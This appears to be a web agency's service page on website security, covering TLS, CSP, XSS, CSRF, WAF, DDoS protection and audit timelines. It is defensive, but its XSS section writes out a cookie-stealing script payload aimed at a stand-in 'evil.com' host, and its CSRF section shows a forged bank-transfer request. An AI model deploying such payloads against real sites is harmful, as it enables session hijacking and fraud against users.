Website Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's this: a bot found an endpoint /admin/export without authorization, downloaded the customer database, closed the connection. Or: through an outdated WordPress plugin uploaded a web shell, now the server is sending spam. Or more quietly: XSS in a comment field allows stealing session cookies from administrators, and no one notices for months.
Security is not a single setting. It's layers of protection, each closing a separate class of attacks.
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But "having an SSL certificate" and "properly configured TLS" are different things.
What we check in Nginx/Apache configuration:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser no longer makes unencrypted requests - OCSP Stapling — speeds up certificate revocation checking
- 301 Redirect from HTTP to HTTPS — both in server config and in code (double redirect = SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B — configuration is weak.
Let's Encrypt + Certbot for production — standard. Automatic renewal via certbot renew in cron. Wildcard certificate for subdomains via DNS-01 challenge.
Content Security Policy: the most powerful and complex protection
CSP is an HTTP header that tells the browser where resources can be loaded from. Properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
Problem: breaking a site with incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but blocks nothing. We review reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce is a random string generated on the server for each request. Inline scripts with the correct nonce are allowed, without nonce — blocked. This completely breaks XSS through <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. Better to remove it, moving all styles to CSS files, but this requires refactoring.
XSS: attacks and code protection
XSS (Cross-Site Scripting) is JS code injection through user input. Three types:
Reflected XSS — malicious code in URL, reflected in server response. Example: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. If the server returns parameter q without escaping — the code will execute in the victim's browser.
Stored XSS — code is saved in the database (comment, profile field) and executes for everyone who opens the page. The most dangerous type.
DOM XSS — vulnerability in client-side JS: element.innerHTML = location.hash without sanitization.
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe (escapes automatically), {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text (HTML content from users) — htmlpurifier on PHP or DOMPurify in browser.
CSRF: form and API protection
CSRF (Cross-Site Request Forgery) — attacker makes the victim's browser send a request on their behalf. Example: user is logged into a bank, opens a malicious page, it does fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money leaves.
CSRF tokens — standard form protection: server generates a random token, stores it in session, inserts it in form as hidden field. When POST request is made, the token is verified. Attacker doesn't know the token. Laravel does this automatically via @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prohibits the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in Authorization header or localStorage). But localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) — filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible, but requires configuration and monitoring false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 level — de facto standard for most websites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attack. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for Russian market).
Rate Limiting at application level — additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as counter storage — mandatory for horizontally scalable systems (otherwise limits don't sync between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restricting access to browser APIs: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input in SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress — mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via environment variables in CI/CD (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak checking: git-secrets, truffleHog in pre-commit hooks.
Audit and Timeline
Basic security audit: analysis of headers, CSP, dependencies, server configuration, common vulnerabilities. For critical systems — penetration test with manual investigation of application logic.
| Type of Work | Timeline |
|---|---|
| Security audit + hardening (headers, TLS, updates) | 1–2 weeks |
| CSP implementation from Report-Only to production | 2–4 weeks |
| WAF + Rate Limiting + DDoS protection setup | 1–2 weeks |
| Comprehensive security review + penetration test | 3–6 weeks |
Cost is calculated individually depending on system size and complexity.







